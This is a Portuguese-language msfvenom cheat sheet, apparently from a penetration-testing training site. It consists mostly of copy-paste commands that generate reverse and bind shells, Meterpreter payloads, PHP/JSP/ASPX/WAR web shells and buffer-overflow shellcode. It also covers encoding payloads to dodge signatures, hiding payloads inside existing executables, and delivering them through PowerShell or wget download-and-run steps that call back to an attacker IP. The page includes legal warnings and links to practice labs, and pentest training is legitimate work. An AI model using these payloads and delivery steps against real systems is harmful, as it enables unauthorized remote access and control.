Precisa de um reverse shell? Msfvenom gera em um único comando. Executável Windows, ELF Linux, shell web PHP ou shellcode bruto para seu exploit de buffer overflow: msfvenom lida com todos. Para o panorama completo, veja nosso guia completo de teste de penetração.
Esta cheat sheet msfvenom fornece comandos copiar-colar para cada cenário de payload em 2026. Sem enrolação, apenas one-liners funcionais que você pode usar imediatamente. Se você está começando em exploração, comece com nosso guia CTF para iniciantes.
Referência de uma página para impressão com todos os comandos essenciais do msfvenom.
🚀 Top 15 Comandos Msfvenom (Prontos para Copiar-Colar)
Os comandos msfvenom mais comuns para referência rápida. Copie, cole,
substitua 10.10.10.10 pelo seu IP e 4444 pela sua porta.
# Meterpreter Windows (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Meterpreter Windows (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Meterpreter Linux (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Shell Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Reverse shell macOS
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell
# Shell web PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Shell web JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
# Arquivo WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
# Shell web ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp
# Shell web ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx
# Payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py
# One-liner Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh
# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1
# Shellcode (formato C)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"
# Payload codificado (remoção de caracteres ruins, ofuscação básica)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
| Alvo | Payload | Formato |
|---|---|---|
| Windows x64 | windows/x64/meterpreter/reverse_tcp |
exe |
| Windows x86 | windows/meterpreter/reverse_tcp |
exe |
| Linux x64 | linux/x64/meterpreter/reverse_tcp |
elf |
| macOS | osx/x64/shell_reverse_tcp |
macho |
| PHP | php/meterpreter/reverse_tcp |
raw |
| Java/JSP | java/jsp_shell_reverse_tcp |
war |
| Bash | cmd/unix/reverse_bash |
raw |
| PowerShell | windows/x64/meterpreter/reverse_tcp |
psh |
📑 Navegação Rápida
🔧 O que é o Msfvenom?
Msfvenom é o gerador de payloads do Metasploit Framework. Ele substituiu as antigas ferramentas msfpayload e msfencode, unindo geração e codificação de payloads em um único utilitário.
O alvo se conecta de volta à sua máquina
Abre uma porta no alvo, e você se conecta a ela
Shell avançado com recursos de pós-exploração
Bytes brutos para exploits de buffer overflow
O Msfvenom gera payloads em formatos para cada cenário: .exe para Windows,
.elf para Linux, .php para aplicações web e shellcode bruto para
desenvolvimento de exploits. Ele se integra ao multi/handler do Metasploit para
capturar conexões de entrada.
Dica Pro: Conheça o SO e a arquitetura do alvo antes de gerar payloads. Um payload de 64 bits não roda em um sistema de 32 bits.
⚙️ Sintaxe Básica do Msfvenom
Entender a sintaxe do msfvenom é essencial para gerar payloads com eficácia. A estrutura básica de comando segue um padrão consistente que você vai usar para cada payload.
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>
Flags Essenciais
| Flag | Descrição | Exemplo |
|---|---|---|
-p |
Payload a usar | -p windows/meterpreter/reverse_tcp |
-f |
Formato de saída | -f exe |
-o |
Arquivo de saída | -o shell.exe |
-e |
Encoder a usar | -e x86/shikata_ga_nai |
-i |
Iterações de codificação | -i 5 |
-b |
Caracteres ruins a evitar | -b "\x00\x0a\x0d" |
-a |
Arquitetura | -a x64 |
--platform |
Plataforma alvo | --platform windows |
Variáveis de Payload
| Variável | Descrição | Usado Para |
|---|---|---|
LHOST |
Host local (seu IP) | Reverse shells |
LPORT |
Porta local (seu listener) | Reverse shells |
RHOST |
Host remoto (IP do alvo) | Bind shells |
RPORT |
Porta remota (porta do alvo) | Bind shells |
🔍 Listando Payloads, Formatos e Encoders
Antes de gerar payloads, você precisa saber o que está disponível. Estes comandos ajudam a explorar os recursos do msfvenom e encontrar o payload certo para o seu cenário.
Comandos de Descoberta
| Comando | Descrição |
|---|---|
msfvenom -l payloads |
Listar todos os payloads disponíveis |
msfvenom -l formats |
Listar todos os formatos de saída |
msfvenom -l encoders |
Listar todos os encoders |
msfvenom -l archs |
Listar as arquiteturas suportadas |
msfvenom -l platforms |
Listar as plataformas suportadas |
msfvenom -l encrypt |
Listar as opções de criptografia |
Filtrando Payloads
# Listar apenas payloads Windows
msfvenom -l payloads | grep windows
# Listar payloads de reverse shell Linux
msfvenom -l payloads | grep linux | grep reverse
# Listar payloads PHP
msfvenom -l payloads | grep php
# Exibir opções do payload
msfvenom -p windows/meterpreter/reverse_tcp --list-options
Dica Pro: Use --list-options para ver todas as opções configuráveis de
um payload específico. Isso mostra as variáveis obrigatórias e opcionais, ajudando a personalizar
payloads para cenários específicos.
🪟 Payloads Windows
O Windows é o alvo mais comum em testes de penetração. Gere executáveis, DLLs, scripts PowerShell e pacotes MSI para exploração de Windows.
💡 Escolha Rápida: Para a maioria dos alvos Windows, use
windows/x64/meterpreter/reverse_tcp com o formato exe. Funciona
no Windows 7+ e dá acesso total aos recursos do Meterpreter.
Staged vs Stageless: Nomes de payload com / (como meterpreter/reverse_tcp)
são staged e exigem um handler para enviar o segundo estágio. Nomes de payload com _
(como meterpreter_reverse_tcp) são stageless e contêm tudo em um único arquivo.
Use stageless quando restrições de rede puderem bloquear o download do estágio.
Payloads de Reverse Shell
# Reverse shell TCP Windows (32 bits)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Reverse shell TCP Windows (64 bits)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell64.exe
# Meterpreter reverse TCP (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter.exe
# Meterpreter reverse TCP (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter64.exe
# Meterpreter reverse HTTPS (criptografado, geralmente liberado na saída)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f exe -o https_shell.exe
Payloads de Bind Shell
# Bind shell TCP Windows
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe -o bind_shell.exe
# Meterpreter bind TCP
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_meterpreter.exe
Formatos Alternativos para Windows
| Formato | Flag | Caso de Uso |
|---|---|---|
| Executável | -f exe |
Executável padrão do Windows |
| DLL | -f dll |
Ataques de DLL hijacking |
| MSI | -f msi |
Pacote instalador do Windows |
| PowerShell | -f psh |
Script PowerShell |
| Comando PowerShell | -f psh-cmd |
One-liner para injeção de comando |
Payloads PowerShell
# Payload de script PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1
# One-liner PowerShell (para injeção de comando)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-cmd
# PowerShell codificado em Base64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-reflection
Pratique a exploração de sistemas Windows com esses payloads no Laboratório Hack the Box da HackerDNA, que simula um ambiente Windows real para prática de teste de penetração.
🐧 Payloads Linux
Payloads Linux geram binários ELF para sistemas baseados em Unix. Funcionam na maioria das distribuições e podem mirar dispositivos embarcados com arquiteturas ARM/MIPS.
💡 Escolha Rápida: Para CTFs e a maioria dos alvos Linux, use
linux/x64/shell_reverse_tcp com o formato elf. Simples, confiável
e funciona sem dependências do Meterpreter.
Payloads de Reverse Shell
# Reverse shell TCP Linux (32 bits)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Reverse shell TCP Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell64
# Meterpreter reverse TCP (32 bits)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter
# Meterpreter reverse TCP (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter64
Payloads de Bind Shell
# Bind shell TCP Linux
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o bind_shell
# Meterpreter bind TCP
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_meterpreter
Payloads ARM (Dispositivos IoT)
# Reverse shell ARM (Raspberry Pi, roteadores)
msfvenom -p linux/armle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o arm_shell
# Reverse shell MIPS (dispositivos embarcados)
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o mips_shell
Dica Pro: Depois de gerar um payload Linux, torne-o executável com
chmod +x. Transfira-o para o alvo usando wget, curl ou um servidor HTTP em Python,
então execute-o para estabelecer sua conexão.
🍎 Payloads macOS
Payloads macOS geram binários Mach-O para sistemas Apple. Eles funcionam em Macs baseados em Intel e podem ser úteis ao mirar estações de trabalho de desenvolvedores ou servidores macOS.
Payloads de Reverse Shell
# Reverse shell TCP macOS (Intel 64 bits)
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell
# Meterpreter reverse TCP macOS
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o meterpreter
# Reverse HTTPS macOS (geralmente liberado na saída)
msfvenom -p osx/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f macho -o https_shell
Payloads de Bind Shell
# Bind shell TCP macOS
msfvenom -p osx/x64/shell_bind_tcp LPORT=4444 -f macho -o bind_shell
# Meterpreter bind TCP macOS
msfvenom -p osx/x64/meterpreter/bind_tcp LPORT=4444 -f macho -o bind_meterpreter
Notas sobre macOS: O macOS moderno inclui o Gatekeeper e exigências de assinatura de código.
Binários não assinados vão disparar avisos de segurança. Para testes autorizados em sistemas que você controla,
você pode remover o atributo de quarentena com xattr -d com.apple.quarantine shell ou usar métodos alternativos de entrega
como payloads em Python ou Bash. Macs com Apple Silicon (M1/M2/M3) podem rodar payloads x64 via Rosetta 2.
🌐 Payloads de Aplicações Web
Essenciais para exploits de upload de arquivo, injeção de comando e ataques a aplicações web. Gere payloads PHP, JSP, ASP, Python, Bash e NodeJS.
💡 Escolha Rápida: Para vulnerabilidades de upload de arquivo em PHP, use
php/reverse_php com o formato raw. Lembre-se de adicionar a tag
<?php manualmente!
Payloads PHP
# Reverse shell PHP
msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Meterpreter reverse TCP PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.php
# Bind shell PHP
msfvenom -p php/bind_php LPORT=4444 -f raw -o bind_shell.php
Payloads JSP (Java)
# Reverse shell JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
# Bind shell JSP
msfvenom -p java/jsp_shell_bind_tcp LPORT=4444 -f raw -o bind_shell.jsp
# Arquivo WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
Payloads ASP/ASPX
# Reverse shell ASP
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp
# Reverse shell ASPX
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx
# Meterpreter ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o meterpreter.aspx
Payloads Python
# Reverse shell Python
msfvenom -p python/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py
# Meterpreter Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.py
Payloads Bash e Shell
# Reverse shell Bash (útil para injeção de comando)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh
# Reverse shell Netcat
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.10 LPORT=4444 -f raw
# Reverse shell Perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.pl
# Reverse shell Ruby
msfvenom -p cmd/unix/reverse_ruby LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.rb
Payloads NodeJS
# Reverse shell NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.js
# Bind shell NodeJS
msfvenom -p nodejs/shell_bind_tcp LPORT=4444 -f raw -o bind_shell.js
Pegadinha do Payload PHP: Os payloads PHP do msfvenom NÃO incluem a tag de abertura
<?php. Você precisa adicioná-la manualmente: echo '<?php ' | cat - shell.php > shell_final.php.
Sem isso, o payload é executado como texto puro em vez de código PHP.
Aprenda a explorar vulnerabilidades de upload de arquivo e a entregar payloads web em nosso Curso de Segurança de Aplicações Web. Pratique uploads de shell PHP no Desafio File Upload Bypass, ou teste payloads de injeção de SQL no Laboratório SQL Injection Test.
💉 Geração de Shellcode
Shellcode é código de máquina bruto usado em exploits de buffer overflow e no desenvolvimento de malware personalizado. O msfvenom gera shellcode em múltiplos formatos para diferentes linguagens de programação.
Formatos Comuns de Shellcode
| Formato | Flag | Caso de Uso |
|---|---|---|
| Bytes brutos | -f raw |
Shellcode binário direto |
| Array C | -f c |
Desenvolvimento de exploits em C |
| Python | -f python |
Scripts de exploit em Python |
| Ruby | -f ruby |
Scripts de exploit em Ruby |
| Hex | -f hex |
String hexadecimal |
| JavaScript | -f js_le |
Exploits de navegador |
Exemplos de Shellcode
# Shellcode em C para buffer overflow
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"
# Shellcode Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f python -b "\x00\x0a\x0d"
# Shellcode bruto (para injeção manual)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin
# Formato hex
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hex
Tamanho do Payload e Cálculos de Buffer
O tamanho do payload importa para exploits de buffer overflow. Seu shellcode precisa caber no espaço de buffer disponível. O msfvenom exibe informações de tamanho durante a geração.
# Verificar o tamanho do payload antes de gerar
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" 2>&1 | grep "Payload size"
# Tamanhos típicos (aproximados):
# windows/shell_reverse_tcp: ~324 bytes
# windows/meterpreter/reverse_tcp: ~354 bytes (staged, apenas o stager)
# linux/x86/shell_reverse_tcp: ~68 bytes
# cmd/unix/reverse_bash: ~60 bytes
Dica de Tamanho: Payloads staged são menores porque o stager
baixa o payload completo. Se o espaço de buffer for limitado, use payloads staged. Se você precisa de
confiabilidade em vez de tamanho, use stageless. Adicione um NOP sled com -n 16 para alinhamento.
Evitando Caracteres Ruins
Exploits de buffer overflow muitas vezes não podem conter certos bytes (null bytes, quebras de linha, etc.).
Use a flag -b para excluir caracteres problemáticos do seu shellcode.
# Evitar null byte e caracteres ruins comuns
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00\x0a\x0d\x20"
# Gerar com NOP sled para alinhamento
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" -n 16
🛡️ Encoders e Codificação de Payload
Encoders transformam payloads para remover caracteres problemáticos e alterar sua assinatura de bytes. Isso é útil principalmente para remover caracteres ruins em exploits de buffer overflow e reduzir correspondências triviais de assinatura durante testes autorizados.
Verificação de Realidade: Produtos de segurança modernos usam análise comportamental, sandboxing e machine learning. A codificação por si só não vence essas defesas. O principal uso legítimo da codificação é remover caracteres ruins de shellcode para desenvolvimento de exploits.
Encoders Populares
| Encoder | Classificação | Descrição |
|---|---|---|
x86/shikata_ga_nai |
Excelente | Encoder XOR polimórfico (o mais popular) |
x64/xor |
Normal | Encoder XOR de 64 bits |
x86/fnstenv_mov |
Normal | Encoder fnstenv/mov de tamanho variável |
cmd/powershell_base64 |
Excelente | Encoder Base64 para PowerShell |
Comandos de Codificação
# Uma única iteração de codificação
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe
# Múltiplas iterações de codificação
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o multi_encoded.exe
# Encadear múltiplos encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o chain_encoded.exe
Templates de Executável
Embuta payloads em executáveis existentes usando a flag -x. A funcionalidade do
executável original é preservada junto com o payload. Isso é útil para
entender como payloads podem ser empacotados durante avaliações autorizadas.
# Embutir payload em um executável existente
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -x /path/to/template.exe -k -f exe -o output.exe
Realidade da Detecção: Produtos de segurança modernos analisam comportamento, não apenas assinaturas de arquivo. Codificação e templates são detectados por análise comportamental, sandboxing e machine learning. Essas técnicas são educacionais para entender os mecanismos de detecção, não para vencer controles de segurança.
📡 Configurando Handlers do Metasploit
Seu payload precisa de algum lugar para "ligar para casa". O módulo multi/handler captura
conexões de entrada dos payloads do msfvenom.
payload msfvenom
multi/handler
payload ao alvo
conexão recebida
Configuração Básica do Handler
# Iniciar o console do Metasploit
msfconsole
# Configurar o handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
run
Handler em Uma Linha
# Handler rápido sem console interativo
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"
Arquivo de Recurso do Handler
Crie um arquivo de recurso para configurações de handler usadas com frequência:
# Salve como handler.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
set ExitOnSession false
set EnableStageEncoding true
run -j
# Execute com: msfconsole -r handler.rc
| Opção | Descrição |
|---|---|
ExitOnSession false |
Mantém o handler rodando após a conexão |
run -j |
Executa como job em segundo plano |
EnableStageEncoding true |
Criptografa a transmissão do estágio |
Aprenda o fluxo completo de exploração em nosso Curso de Teste de Penetração em Redes, que cobre Metasploit, msfvenom e técnicas de pós-exploração.
🎯 Cenários Comuns de Teste de Penetração
Estas combinações de comandos prontas para uso cobrem as situações mais frequentes que você vai encontrar durante testes de penetração e competições de CTF.
Alvo Windows (Rede Interna)
# Gerar payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Transferir para o alvo (da máquina do atacante)
python3 -m http.server 80
# No alvo: powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/shell.exe','shell.exe')"
# Iniciar o handler
msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"
Alvo Linux (Estilo CTF)
# Gerar payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Iniciar o listener (netcat é mais simples para shells básicos)
nc -lvnp 4444
# Transferir e executar no alvo
# wget http://10.10.10.10/shell && chmod +x shell && ./shell
Upload de Web Shell
# Shell PHP para vulnerabilidade de upload de arquivo
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Adicionar as tags PHP (a saída do msfvenom precisa delas)
echo '<?php ' | cat - shell.php > shell_final.php
# JSP para Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
Exploit de Buffer Overflow
# Gerar shellcode evitando null bytes
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -f python -v shellcode
# Com NOP sled
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -n 16 -f python -v shellcode
Pratique cenários de execução remota de código em nosso RCE Playground, projetado especificamente para aprender entrega de payloads e técnicas de exploração.
📋 Cartão de Referência Rápida
Comandos essenciais do msfvenom para referência rápida. Salve esta seção nos favoritos.
🎯 Comandos Mais Usados
| WIN | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe |
| LNX | msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell |
| PHP | msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php |
| JSP | msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war |
| BOF | msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f c -b "\x00" |
⚡ Flags Principais
-p
-f
-o
-e
-b
-i
-l
-a
⚖️ Considerações Legais e Éticas
Aviso Crítico: Msfvenom gera payloads de exploração. Usá-los contra sistemas sem autorização explícita por escrito é um crime grave em praticamente todas as jurisdições. Violações de acesso não autorizado podem resultar em multas significativas e prisão.
- Sempre obtenha autorização por escrito antes de testar qualquer sistema que você não possui
- Use ambientes de prática legais como HackerDNA Labs, suas próprias máquinas virtuais ou plataformas CTF autorizadas
- Nunca implante payloads em sistemas de produção sem autorização explícita dos proprietários dos sistemas
- Entenda seu escopo e permaneça dentro dos limites do seu acordo de engajamento
- Documente tudo durante testes de penetração autorizados para proteção legal
As habilidades que você desenvolve com msfvenom são poderosas. Use-as responsavelmente para proteger sistemas, não para prejudicá-los. Hackers éticos constroem carreiras com base em confiança e integridade.
🔧 Solução de Problemas Comuns
Até pentesters experientes encontram problemas com payloads. Aqui estão os problemas mais comuns e como corrigi-los rapidamente.
Incompatibilidade de Payload no Handler
Problema: O handler recebe a conexão, mas a sessão morre imediatamente.
Correção: O payload no seu handler PRECISA corresponder exatamente ao payload usado
no msfvenom. windows/meterpreter/reverse_tcp (staged) NÃO é o mesmo que
windows/meterpreter_reverse_tcp (stageless). Copie e cole a string exata do payload.
Escolhendo o LHOST Certo
| Cenário | Use Esta Interface |
|---|---|
| VPN (HTB, THM, laboratórios) | tun0 - o IP do seu túnel VPN |
| Rede local | eth0 ou wlan0 - seu IP local |
| Atrás de NAT (alvo na internet) | Seu IP público + encaminhamento de porta, ou use bind shell |
| Docker/VM | IP do host que o alvo alcança, não o IP do contêiner |
# Encontrar os IPs das suas interfaces
ip addr show | grep "inet "
# ou
ifconfig | grep "inet "
Payload Não Executa
- ELF Linux não roda: Você fez
chmod +x shell? - PHP mostra o código em vez de executar: Adicione a tag
<?phpno início - Windows bloqueia a execução: O software de segurança detectou; esperado em ambientes protegidos
- Quarentena do macOS: Execute
xattr -d com.apple.quarantine shell - Arquitetura incompatível: payload de 32 bits em sistema de 64 bits geralmente funciona; 64 bits em 32 bits falha
Conexão Não Recebida
- Verifique o firewall: A porta do seu listener está aberta?
sudo ufw allow 4444/tcp - Confirme que o handler está rodando: Cheque com
jobsno msfconsole - Roteamento de rede: O alvo consegue alcançar seu LHOST? Teste com ping se possível
- Porta errada: Verifique se o LPORT corresponde entre payload e handler
🎮 Pratique Suas Habilidades com Payloads
Ler esta cheat sheet msfvenom te dá os comandos. A prática os torna uma segunda natureza. A diferença entre conhecer a sintaxe dos payloads e explorar um alvo com sucesso está na experiência prática.
Os HackerDNA Labs oferecem máquinas vulneráveis feitas especificamente para praticar técnicas de exploração. Cada laboratório simula cenários do mundo real onde você vai gerar payloads, praticar técnicas de exploração e estabelecer shells em um ambiente seguro e legal.
Laboratórios Recomendados para Praticar Msfvenom
- RCE Playground Pratique execução remota de código e entrega de payloads
- Laboratório Hack the Box Teste de penetração completo que exige geração de payloads
- Laboratório Internal Pentest de rede interna com exploração avançada
Comece a gerar payloads hoje. Crie sua conta gratuita na HackerDNA e pratique técnicas de exploração em um ambiente seguro e legal.
❓ Perguntas Frequentes
Para que serve o msfvenom?
O Msfvenom é um gerador de payloads do Metasploit Framework. Profissionais de segurança o usam para criar reverse shells, bind shells e shellcode para testes de penetração autorizados. Ele gera payloads em vários formatos, incluindo executáveis, scripts e shellcode bruto.
Qual a diferença entre um payload staged e stageless?
Payloads staged (como windows/meterpreter/reverse_tcp) enviam um pequeno
stager inicial que baixa o payload completo. Payloads stageless (como
windows/meterpreter_reverse_tcp, note o underscore) contêm tudo em
um único pacote. Payloads staged são menores, mas exigem uma conexão estável. Payloads stageless
são maiores, mas mais confiáveis.
Para que serve a codificação?
A codificação transforma os bytes do payload para remover caracteres problemáticos (como null bytes) que quebrariam exploits de buffer overflow. Produtos de segurança modernos usam análise comportamental, sandboxing e machine learning que detectam atividade maliciosa independentemente da codificação. O principal uso legítimo é a remoção de caracteres ruins para desenvolvimento de exploits.
Como sei qual payload usar?
Escolha com base no SO do alvo (Windows/Linux), na arquitetura (x86/x64) e nas condições de rede. Para redes internas, use reverse_tcp. Para alvos expostos à internet atrás de NAT, bind shells podem funcionar melhor. Quando HTTPS é liberado na saída, reverse_https costuma ter sucesso. Use Meterpreter para recursos completos de pós-exploração, ou payloads de shell básico para simplicidade.
📚 Recursos Relacionados
Amplie seu kit de exploração com estes guias e cursos relacionados:
- Curso Cheat Sheet do Metasploit - Comandos e técnicas completas do framework Metasploit
- Guia Rápido do Nmap - Reconhecimento antes da exploração
- Curso de Teste de Penetração em Redes - Metodologia completa do Metasploit
- Curso de Execução Remota de Código - Entendendo e explorando vulnerabilidades de RCE
- Guia de Preparação OSCP - Preparação para a certificação que cobre msfvenom em detalhe
- OffSec Metasploit Unleashed - Treinamento completo e gratuito de Metasploit da OffSec
- Documentação Oficial do Metasploit - Referência da Rapid7
🏁 Conclusão
Esta cheat sheet msfvenom cobre os comandos essenciais de geração de payload para testes de penetração em 2026. De executáveis Windows a shells web PHP, de reverse shells básicos a payloads Meterpreter codificados, essas técnicas formam a fase de exploração das avaliações de segurança.
Lembre-se: a geração de payload é apenas uma parte da exploração bem-sucedida. Combine msfvenom com reconhecimento sólido, configuração adequada do handler e técnicas de pós-exploração para testes de penetração completos. Cada shell bem-sucedido começa com o payload certo para a situação.
Lembrete Legal: Apenas gere e implante payloads contra sistemas que você possui ou tem autorização explícita por escrito para testar. Acesso não autorizado é um crime grave com consequências legais severas.
Marque esta referência, pratique em ambientes de laboratório legais e desenvolva as habilidades de exploração que separam profissionais de segurança de script kiddies.
Parte da série Teste de Penetração
Artigos relacionados: